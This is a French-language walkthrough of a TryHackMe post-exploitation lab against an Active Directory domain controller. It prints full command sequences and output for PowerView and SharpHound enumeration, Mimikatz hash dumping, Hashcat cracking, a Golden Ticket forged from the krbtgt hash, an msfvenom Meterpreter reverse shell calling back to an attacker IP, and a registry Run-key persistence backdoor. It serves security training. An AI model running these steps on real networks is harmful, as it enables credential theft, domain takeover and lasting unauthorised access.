TryHackMe - Post Exploitation Basics
Write-up de la room Post Exploitation Basics où l'on apprend les bases de la post-exploitation et du maintien d'accès avec Mimikatz, Bloodhound, PowerView et Msfvenom.
Informations sur la room
Cette room propose une introduction approfondie à la post-exploitation, c’est-à-dire les techniques à utiliser après s’être introduit dans un système pour énumérer les ressources, extraire les informations sensibles et maintenir l’accès.
Lien : Post Exploitation Basics
Objectifs d’apprentissage
Cette room couvre les compétences suivantes :
- Énumération de domaine Active Directory avec PowerView
- Cartographie réseau avec Bloodhound
- Extraction de credentials avec Mimikatz
- Attaques Golden Ticket
- Création de backdoors avec Msfvenom
- Maintien de l’accès avec le module Persistence de Metasploit
Solutions des tâches
Task 1 - Introduction
Aperçu de la room
Cette room couvre l’ensemble du cycle de post-exploitation :
- Énumération : PowerView et Bloodhound pour cartographier le domaine Active Directory
- Extraction de credentials : Mimikatz pour dumper les hashes et créer des Golden Tickets
- Collecte d’informations : Utilisation des outils Windows natifs et des journaux d’événements
- Maintien d’accès : Module Persistence de Metasploit et création de backdoors
La post-exploitation est une phase critique qui permet de consolider l’accès initial, d’élever les privilèges et de maintenir la persistance sur le système compromis.
Démarrez la machine cible pour commencer les exercices.
Task 2 - Enumeration w/ PowerView
Informations de connexion
Credentials SSH fournis :
- Nom d’utilisateur :
Administrator - Mot de passe :
P@$$W0rd - Nom de domaine :
CONTROLLER
Qu’est-ce que PowerView ?
PowerView est un puissant script PowerShell permettant d’énumérer les domaines Active Directory après avoir obtenu l’accès à un shell Windows.
Connexion SSH au système cible :
1
2
3
4
5
6
7
8
9
10
11
root@ip-10-10-124-7:~# ssh Administrator@10.10.52.67
The authenticity of host '10.10.52.67 (10.10.52.67)' can't be established.
ECDSA key fingerprint is SHA256:jGGFsdyc6+usho+SGSQoG+3agPMuI+Y0SYylUJfLP8s.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.52.67' (ECDSA) to the list of known hosts.
Administrator@10.10.52.67's password:
Microsoft Windows [Version 10.0.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved.
controller\administrator@DOMAIN-CONTROLL C:\Users\Administrator>
Une fois connecté, nous sommes dans le shell Windows : C:\Users\Administrator>
Configuration de PowerView
Étape 1 : Démarrer PowerShell avec contournement de la politique d’exécution
1
2
3
4
5
controller\administrator@DOMAIN-CONTROLL C:\Users\Administrator>powershell -ep bypass
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Users\Administrator>
L’option
-ep bypasspermet de contourner la politique d’exécution PowerShell, autorisant l’exécution de scripts non signés.
Étape 2 : Charger le script PowerView
1
PS C:\Users\Administrator> . .\Downloads\PowerView.ps1
Énumération du domaine
Énumération des utilisateurs du domaine :
1
2
3
4
5
6
7
8
9
10
11
12
13
PS C:\Users\Administrator> Get-NetUser | select cn
cn
--
Administrator
Guest
krbtgt
Machine-1
Admin2
Machine-2
SQL Service
POST{P0W3RV13W_FTW}
sshd
Énumération des groupes administrateurs :
1
2
3
4
5
6
7
8
9
10
11
PS C:\Users\Administrator> Get-NetGroup -GroupName *admin*
Administrators
Hyper-V Administrators
Storage Replica Administrators
Schema Admins
Enterprise Admins
Domain Admins
Key Admins
Enterprise Key Admins
DnsAdmins
Pour plus de commandes PowerView utiles, consultez ce gist de HarmJ0y : PowerView Cheat Sheet
Questions et résolutions
Question 1 : What is the shared folder that is not set by default?
Pour identifier les partages réseau non-standard, j’ai utilisé la commande Invoke-ShareFinder :
1
2
3
4
5
6
7
8
PS C:\Users\Administrator> Invoke-ShareFinder
\\Domain-Controller.CONTROLLER.local\ADMIN$ - Remote Admin
\\Domain-Controller.CONTROLLER.local\C$ - Default share
\\Domain-Controller.CONTROLLER.local\IPC$ - Remote IPC
\\Domain-Controller.CONTROLLER.local\NETLOGON - Logon server share
\\Domain-Controller.CONTROLLER.local\Share -
\\Domain-Controller.CONTROLLER.local\SYSVOL - Logon server share
Le partage “Share” n’est pas un partage système par défaut.
Réponse : Share
Question 2 : What operating system is running inside of the network besides Windows Server 2019?
Pour lister les systèmes d’exploitation du réseau :
1
2
3
4
5
6
7
PS C:\Users\Administrator> Get-NetComputer -fulldata | select operatingsystem
operatingsystem
---------------
Windows Server 2019 Standard
Windows 10 Enterprise Evaluation
Windows 10 Enterprise Evaluation
Réponse : Windows 10 Enterprise Evaluation
Question 3 : I’ve hidden a flag inside of the users find it
Le flag était visible lors de l’énumération des utilisateurs avec Get-NetUser :
1
2
3
4
5
6
7
8
9
10
11
12
13
PS C:\Users\Administrator> Get-NetUser | select cn
cn
--
Administrator
Guest
krbtgt
Machine-1
Admin2
Machine-2
SQL Service
POST{P0W3RV13W_FTW}
sshd
Réponse : POST{P0W3RV13W_FTW}
Task 3 - Enumeration w/ Bloodhound
Introduction à Bloodhound
Bloodhound est une interface graphique permettant de cartographier visuellement un réseau Active Directory. Associé à SharpHound (équivalent de PowerView pour la collecte de données), il récupère les utilisateurs, groupes, relations de confiance, etc., et génère des fichiers JSON exploitables dans Bloodhound.
Collecte de données avec SharpHound
SharpHound est déjà présent sur la machine cible. Lançons la collecte :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
PS C:\Users\Administrator> . .\Downloads\SharpHound.ps1
PS C:\Users\Administrator> Invoke-Bloodhound -CollectionMethod All -Domain CONTROLLER.local -ZipFileName loot.zip
------------------------------------------------
Initializing SharpHound at 5:50 AM on 10/18/2025
------------------------------------------------
Resolved Collection Methods: Group, Sessions, LoggedOn, Trusts, ACL, ObjectProps, LocalGroups, SPNTargets, Container
[+] Creating Schema map for domain CONTROLLER.LOCAL using path CN=Schema,CN=Configuration,DC=CONTROLLER,DC=LOCAL
[+] Cache File not Found: 0 Objects in cache
[+] Pre-populating Domain Controller SIDS
Status: 0 objects finished (+0) -- Using 113 MB RAM
Status: 66 objects finished (+66 66)/s -- Using 118 MB RAM
Enumeration finished in 00:00:01.2296558
Compressing data to C:\Users\Administrator\20251018055052_loot.zip
You can upload this file directly to the UI
SharpHound Enumeration Completed at 5:50 AM on 10/18/2025! Happy Graphing!
Transfert du fichier loot.zip
Utilisation de SCP pour transférer le fichier vers la machine attaquante :
1
2
3
root@ip-10-10-246-65:~# scp Administrator@10.10.52.67:20251018055052_loot.zip 20251018055052_loot.zip
Administrator@10.10.52.67's password:
20251018055052_loot.zip 100% 8532 1.2MB/s 00:00
La commande
scps’exécute depuis la machine attaquante, pas depuis la session SSH cible.
Analyse avec Bloodhound
Lancement de Bloodhound sur la machine attaquante :
1
root@ip-10-10-246-65:~# bloodhound
Interface Bloodhound :
Import du fichier loot.zip :
Cliquez sur l’icône de téléchargement (upload) et sélectionnez le fichier loot.zip.
Questions et résolutions
Question 1 : What service is also a domain admin?
Dans Bloodhound, utilisez les requêtes prédéfinies pour identifier les comptes de service avec des privilèges de Domain Admin.
Réponse : SQLSERVICE
Question 2 : What two users are Kerberoastable?
Utilisez la requête “Find all Kerberoastable Users” dans Bloodhound.
Les comptes Kerberoastables sont des cibles privilégiées car leurs hashes peuvent être extraits et crackés hors ligne.
Réponse : SQLSERVICE,KRBTGT
Task 4 - Dumping hashes w/ Mimikatz
Introduction à Mimikatz
Mimikatz est un outil de post-exploitation extrêmement puissant, principalement utilisé pour extraire les credentials des utilisateurs dans un environnement Active Directory.
Lancement de Mimikatz :
1
2
3
4
5
6
7
8
9
10
PS C:\Users\Administrator\Downloads> .\mimikatz.exe
.#####. mimikatz 2.2.0 (x64) #18362 May 2 2020 16:23:51
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
mimikatz #
Vérification des privilèges
Vérifier que Mimikatz s’exécute avec les privilèges administrateur :
1
2
mimikatz # privilege::debug
Privilege '20' OK
Si vous voyez
Privilege '20' OK, Mimikatz s’exécute correctement avec les privilèges administrateur nécessaires.
Extraction des hashes
Dump des hashes avec LSA (Local Security Authority) :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
mimikatz # lsadump::lsa /patch
Domain : CONTROLLER / S-1-5-21-849420856-2351964222-986696166
RID : 000001f4 (500)
User : Administrator
LM :
NTLM : 2777b7fec870e04dda00cd7260f7bee6
RID : 000001f5 (501)
User : Guest
LM :
NTLM :
RID : 000001f6 (502)
User : krbtgt
LM :
NTLM : 5508500012cc005cf7082a9a89ebdfdf
RID : 0000044f (1103)
User : Machine1
LM :
NTLM : 64f12cddaa88057e06a81b54e73b949b
RID : 00000451 (1105)
User : Admin2
LM :
NTLM : 2b576acbe6bcfda7294d6bd18041b8fe
RID : 00000452 (1106)
User : Machine2
LM :
NTLM : c39f2beb3d2ec06a62cb887fb391dee0
RID : 00000453 (1107)
User : SQLService
LM :
NTLM : f4ab68f27303bcb4024650d8fc5f973a
RID : 00000454 (1108)
User : POST
LM :
NTLM : c4b0e1b10c7ce2c4723b4e2407ef81a2
RID : 00000457 (1111)
User : sshd
LM :
NTLM : 2777b7fec870e04dda00cd7260f7bee6
RID : 000003e8 (1000)
User : DOMAIN-CONTROLL$
LM :
NTLM : add85c23b40ea2f82d1401e93afecf2c
RID : 00000455 (1109)
User : DESKTOP-2$
LM :
NTLM : 3c2d4759eb9884d7a935fe71a8e0f54c
RID : 00000456 (1110)
User : DESKTOP-1$
LM :
NTLM : 7d33346eeb11a4f12a6c201faaa0d89a
Cracking des hashes avec Hashcat
Préparation du fichier de hash :
1
echo "64f12cddaa88057e06a81b54e73b949b" > hash.txt
Cracking avec Hashcat :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
┌──(omnimessie㉿omnimessie)-[~]
└─$ hashcat -m 1000 hash.txt /usr/share/wordlists/rockyou.txt
hashcat (v7.1.2) starting
OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
* Device #01: cpu-haswell-12th Gen Intel(R) Core(TM) i5-12450HX, 2187/4374 MB (1024 MB allocatable), 6MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Hash
* Single-Salt
* Raw-Hash
ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.
Watchdog: Temperature abort trigger set to 90c
Host memory allocated for this attack: 513 MB (2155 MB free)
Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 0 secs
64f12cddaa88057e06a81b54e73b949b:Password1
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1000 (NTLM)
Hash.Target......: 64f12cddaa88057e06a81b54e73b949b
Time.Started.....: Sat Oct 18 11:03:05 2025 (0 secs)
Time.Estimated...: Sat Oct 18 11:03:05 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........: 129.3 kH/s (0.21ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 6144/14344385 (0.04%)
Rejected.........: 0/6144 (0.00%)
Restore.Point....: 0/14344385 (0.00%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01...: 123456 -> iheartyou
Hardware.Mon.#01.: Util: 14%
Started: Sat Oct 18 11:02:40 2025
Stopped: Sat Oct 18 11:03:05 2025
Questions et résolutions
Question 1 : What is the Machine1 Password?
Le hash a été cracké avec succès : 64f12cddaa88057e06a81b54e73b949b:Password1
Réponse : Password1
Question 2 : What is the Machine2 Hash?
Le hash de Machine2 est visible dans la sortie de Mimikatz.
Réponse : c39f2beb3d2ec06a62cb887fb391dee0
Task 5 - Golden Ticket Attacks w/ Mimikatz
Qu’est-ce qu’une attaque Golden Ticket ?
Une attaque Golden Ticket exploite le compte Kerberos Ticket Granting Ticket (krbtgt) pour créer des tickets Kerberos valides qui donnent un accès illimité au domaine.
Extraction du hash krbtgt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
mimikatz # lsadump::lsa /inject /name:krbtgt
Domain : CONTROLLER / S-1-5-21-849420856-2351964222-986696166
RID : 000001f6 (502)
User : krbtgt
* Primary
NTLM : 5508500012cc005cf7082a9a89ebdfdf
LM :
Hash NTLM: 5508500012cc005cf7082a9a89ebdfdf
ntlm- 0: 5508500012cc005cf7082a9a89ebdfdf
lm - 0: 372f405db05d3cafd27f8e6a4a097b2c
* WDigest
01 49a8de3b6c7ae1ddf36aa868e68cd9ea
02 7902703149b131c57e5253fd9ea710d0
03 71288a6388fb28088a434d3705cc6f2a
[...]
* Kerberos
Default Salt : CONTROLLER.LOCALkrbtgt
Credentials
des_cbc_md5 : 64ef5d43922f3b5d
* Kerberos-Newer-Keys
Default Salt : CONTROLLER.LOCALkrbtgt
Default Iterations : 4096
Credentials
aes256_hmac (4096) : 8e544cabf340db750cef9f5db7e1a2f97e465dffbd5a2dc64246bda3c75fe53d
aes128_hmac (4096) : 7eb35bddd529c0614e5ad9db4c798066
des_cbc_md5 (4096) : 64ef5d43922f3b5d
* NTLM-Strong-NTOWF
Random Value : 666caaaaf30081f30211bd7fa445fec4
Informations critiques extraites :
- Hash NTLM krbtgt :
5508500012cc005cf7082a9a89ebdfdf - SID du domaine :
S-1-5-21-849420856-2351964222-986696166
Création du Golden Ticket
Syntaxe de la commande :
1
kerberos::golden /user:<USERNAME> /domain:<DOMAIN> /sid:<DOMAIN_SID> /krbtgt:<KRBTGT_HASH> /id:<USER_RID>
Création du ticket :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
mimikatz # kerberos::golden /user:Administrator /domain:controller.local /sid:S-1-5-21-849420856-2351964222-986696166 /krbtgt:5508500012cc005cf7082a9a89ebdfdf /id:500
User : Administrator
Domain : controller.local (CONTROLLER)
SID : S-1-5-21-849420856-2351964222-986696166
User Id : 500
Groups Id : *513 512 520 518 519
ServiceKey: 5508500012cc005cf7082a9a89ebdfdf - rc4_hmac_nt
Lifetime : 10/18/2025 8:15:36 AM ; 10/16/2035 8:15:36 AM ; 10/16/2035 8:15:36 AM
-> Ticket : ticket.kirbi
* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated
Final Ticket Saved to file !
Le Golden Ticket créé est valide pendant 10 ans, offrant une persistance extrême sur le domaine.
Utilisation du Golden Ticket
Ouverture d’une invite de commande avec privilèges élevés :
1
2
mimikatz # misc::cmd
Patch OK for 'cmd.exe' from 'DisableCMD' to 'KiwiAndCMD' @ 00007FF7C43943B8
Cette commande ouvre une nouvelle interface de commande avec accès complet à toutes les machines du domaine grâce au Golden Ticket.
Task 6 - Enumeration w/ Server Manager
Énumération avec les outils Windows natifs
Les serveurs Windows disposent d’outils intégrés permettant l’énumération sans nécessiter d’outils externes. Le Server Manager est particulièrement utile pour :
- Modifier les relations de confiance
- Gérer les utilisateurs et groupes
- Consulter les événements système
- Accéder aux configurations réseau
L’utilisation d’outils natifs Windows réduit les risques de détection par les solutions EDR (Endpoint Detection and Response).
Questions et résolutions
Question 1 : What tool allows to view the event logs?
Dans la machine Windows (accessible via l’interface TryHackMe), naviguez vers le menu Tools et identifiez l’outil de gestion des journaux d’événements.
Réponse : Event Viewer
Question 2 : What is the SQL Service password?
Dans l’application Active Directory Users and Computers :
- Naviguez vers l’onglet
Users - Localisez l’utilisateur
SQL Service - Le mot de passe est visible dans les propriétés du compte
Réponse : MYpassword123#
Task 7 - Maintaining Access
Introduction au maintien d’accès
Le maintien d’accès garantit la persistance sur un système même après redémarrage ou déconnexion. Cette section couvre la création d’une backdoor avec Msfvenom et le module Persistence de Metasploit.
Génération du payload
Template Msfvenom :
1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<YOUR_IP> LPORT=<YOUR_PORT> -f exe -o shell.exe
Génération du payload :
1
2
3
4
5
6
7
8
9
┌──(omnimessie㉿omnimessie)-[~]
└─$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.43.133 LPORT=4444 -f exe -o shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes
Saved as: shell.exe
Transfert du payload
Transfert via SCP :
1
2
3
4
┌──(omnimessie㉿omnimessie)-[~]
└─$ scp shell.exe Administrator@10.10.52.67:shell.exe
Administrator@10.10.52.67's password:
shell.exe 100% 72KB 1.2MB/s 00:00
Configuration du handler Metasploit
Démarrage du handler multi/handler :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > show options
Payload options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
Configuration du payload :
1
2
3
4
5
6
7
8
9
10
11
12
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.10.43.133
LHOST => 10.10.43.133
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.43.133:4444
Exécution du payload
Sur la machine Windows cible, exécutez le fichier shell.exe.
Résultat sur la machine attaquante :
1
2
3
4
[*] Sending stage (175686 bytes) to 10.10.52.67
[*] Meterpreter session 1 opened (10.10.43.133:4444 -> 10.10.52.67:51040)
meterpreter >
Configuration du module Persistence
Chargement du module :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
meterpreter > background
[*] Backgrounding session 1...
msf6 > use exploit/windows/local/persistence
msf6 exploit(windows/local/persistence) > show options
Module options (exploit/windows/local/persistence):
Name Current Setting Required Description
---- --------------- -------- -----------
DELAY 10 yes Delay in seconds for persistent payload to run
EXE_NAME no Executable name
PATH no Path to write payload
REG_NAME no Registry key name
SESSION yes The session to run this module on
STARTUP USER yes Startup type for persistent payload
VBS_NAME no VBS file name
Configuration et exécution :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
msf6 exploit(windows/local/persistence) > set SESSION 1
SESSION => 1
msf6 exploit(windows/local/persistence) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/windows CONTROLLER\Administrator @ DOMAIN-CONTROLL 10.10.43.133:4444 -> 10.10.52.67:51040
msf6 exploit(windows/local/persistence) > run
[*] Running persistent module against DOMAIN-CONTROLL via session ID: 1
[+] Persistent VBS script written on DOMAIN-CONTROLL to C:\Users\Administrator\AppData\Local\Temp\YxIEZTyvWunr.vbs
[*] Installing as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\HJvDPa
[+] Installed autorun on DOMAIN-CONTROLL as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\HJvDPa
[*] Clean up Meterpreter RC file: /home/omnimessie/.msf4/logs/persistence/DOMAIN-CONTROLL_20251018.2128/DOMAIN-CONTROLL_20251018.2128.rc
Le module Persistence crée une backdoor permanente qui survit aux redémarrages système en s’ajoutant aux clés de registre de démarrage automatique.
Fonctionnement de la persistance :
- Un script VBS est créé dans le dossier Temp de l’utilisateur
- Une clé de registre de démarrage automatique est ajoutée (
HKCU\Software\Microsoft\Windows\CurrentVersion\Run) - À chaque démarrage système, le script VBS s’exécute automatiquement
- Le payload Meterpreter se connecte au handler toutes les 10 secondes (configurable)
Récupération de l’accès après redémarrage :
Si le système redémarre ou si la session est perdue, il suffit de relancer le handler multi/handler avec les mêmes paramètres pour récupérer automatiquement une nouvelle session Meterpreter.
1
2
3
4
5
6
7
8
9
10
11
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.10.43.133
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.43.133:4444
[*] Sending stage (175686 bytes) to 10.10.52.67
[*] Meterpreter session 2 opened (10.10.43.133:4444 -> 10.10.52.67:52145)
meterpreter >
La backdoor de persistance garantit un accès permanent au système compromis, même après des redémarrages ou des mises à jour système, tant que le mécanisme de persistance n’est pas détecté et supprimé.
Task 8 - Conclusion
Récapitulatif des compétences acquises
Félicitations ! Vous avez complété cette room sur les bases de la post-exploitation. Vous maîtrisez maintenant :
Énumération Active Directory :
- Utilisation de PowerView pour énumérer les utilisateurs, groupes et partages
- Cartographie réseau avec Bloodhound et SharpHound
- Identification des comptes à privilèges et des cibles Kerberoastables
Extraction de credentials :
- Dump de hashes NTLM avec Mimikatz
- Cracking de hashes avec Hashcat
- Compréhension de la structure des hashes Windows
Attaques avancées :
- Création de Golden Tickets avec Mimikatz
- Exploitation du compte krbtgt pour un accès domaine complet
- Élévation de privilèges et mouvement latéral
Maintien d’accès :
- Génération de payloads personnalisés avec Msfvenom
- Utilisation du module Persistence de Metasploit
- Création de backdoors permanentes
Outils Windows natifs :
- Énumération avec Server Manager
- Analyse des journaux d’événements avec Event Viewer
- Gestion Active Directory avec les outils intégrés
Prochaines étapes
Pour continuer votre apprentissage en post-exploitation :
- Explorez les modules post-exploitation avancés de Metasploit
- Pratiquez les techniques d’évasion antivirus
- Approfondissez vos connaissances sur Kerberos et les attaques associées
- Étudiez les techniques de mouvement latéral dans Active Directory
- Apprenez à détecter et à vous défendre contre ces techniques
Room complétée




